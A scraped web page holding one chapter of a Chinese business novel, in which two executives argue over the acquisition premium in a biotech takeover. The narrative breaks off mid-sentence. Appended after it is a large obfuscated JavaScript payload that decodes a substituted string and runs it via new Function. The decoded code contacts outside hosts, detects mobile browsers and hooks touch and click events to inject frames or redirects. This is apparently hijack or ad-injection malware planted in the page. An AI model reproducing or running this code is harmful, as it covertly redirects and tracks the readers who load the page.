第46章
一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!
道、并购的协同效应、市场卡位价、以及控制权,可以为这些潜在收益多付30%-50%,也就是多付46-110亿美元。
康泰收购恒瑞,最终的交易价格在286-330亿美元之间。
IBD出的交易结构是:首付款40%溢价,308亿锁定交割。等恒瑞的临床II期肿瘤疫苗成功上市后,再付一个里程碑对价10亿,交易总价318亿。
而陆承逍站在DI的角度,认为这个溢价太高,如果光是买下恒瑞就多花大几十亿,那么后续没什么钱投入研发,还有整合渠道什么的,都需要花钱,没有钱跟上,康泰想要转型,想要用恒瑞的渠道铺货就跟不上,最后业绩也很难有所好转,股价上不来。那么DI作为股东,就算变现康泰的股票也拿不到很多,退出回报率一样不好看。就算DI再拿钱投资康泰转型,也是一样的道理,前期投入过高,退出时需要更高的股价和分红。
跟买卖东西一个道理,成本太高了,必须要卖得多、卖得贵,利润才高,但是现在能不能卖得多、卖得贵还要打个问号。
沈砚清的指尖漫不经心地点着桌面,直接亮明:“承逍总,标的的价值就摆在这里,溢价不是IBD凭空捏造的,你也清楚。恒瑞的肿瘤疫苗专利,是目前全球范围内,少数能进入临床二期的靶点疫苗。在内地市场,同行业没有竞争对手,稀缺性毋庸置疑。这种级别的标的,不是随便找找就能碰上的。而且康泰目前的困境,也不是简单的业务调整就能解决。恒瑞的专利,是目前唯一实现转型、摆脱业绩下滑的突破口。行业40%中位溢价,308亿估值是合理中枢,基于专利技术价值、临床进展,以及同行业可比交易,IBD给出的交易结构是最优解。况且,标的现在已经有第三方投资机构在洽谈,如果康泰不能展现诚意,这笔交易能不能谈成还要打个问号,到时候可不只是DI的IRR难看。”
简单来讲,这是一个康泰目前唯一的救命稻草优质标的,而且还有别家在抢,DI嫌溢价高?不好意思,犹豫一下,能不能拿下来都够呛。到时候别说DI不好对股东交代,IBD没有促成这笔交易,KG错过切入创新药赛道的机会,都一起从全球合伙人的选拔名单上滚下来吧。
当然陆承逍也不是吓大的,在PE、投资的环境里浸银多年,谈判的手段他还能不清楚吗?
听完沈砚清的话,他淡淡地从鼻腔里哼出一声笑,脸上没有愠,但是语气很稳:“砚清总,标的的稀缺性我当然理解,十分理解。它对康泰的意义,我也认同。但DI不是冤大头啊,我们核算过,临床二期的样本量太小,首付40%的溢价一下直接把未来3年的竞争风险都算进估值里了,DI退出时要亏多少?溢价最高只能接受30%,这是内部股东会议定的红线,没有退步空间,请IBD再努力努力。”
“30%,做不了。”沈砚清直接拒绝,语调也很冷淡,丝毫不松口,“30%的溢价,连恒瑞的专利成本都覆盖不了,日方上个月就已经拒绝过同类报价,再拿这个结构去谈,纯属浪费时间。承逍总,你只看到了眼前的投资成本,却看不到这个标的能带来的长期收益,我不认同你的判断。”
“砚清总,我不是看不到长期收益,而是不能拿DI的资金去赌。”陆承逍紧跟着反驳,“专利落地有太多不确定性,临床进展、政策变化,任何一个环节出现问题,DI和康泰都会赔得卖裤子。30%的溢价286亿,是我们能承受的最大风险范围,这个deal,我们要稳健。”
“稳健?是稳健,还是目光短浅?我说了,日方还有第三方机构在洽谈,大家都知道这是一块肥肉。错过恒瑞,康泰再想找到匹配的标的,至少要等2-3年,到时候康泰业绩崩盘,DI的现有投资只会跟着缩水,这就是承逍总所说的稳健?”
“更重要的是,”沈砚清的语气已经有些严肃,有些字眼甚至加重,“一味压价收购,这
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();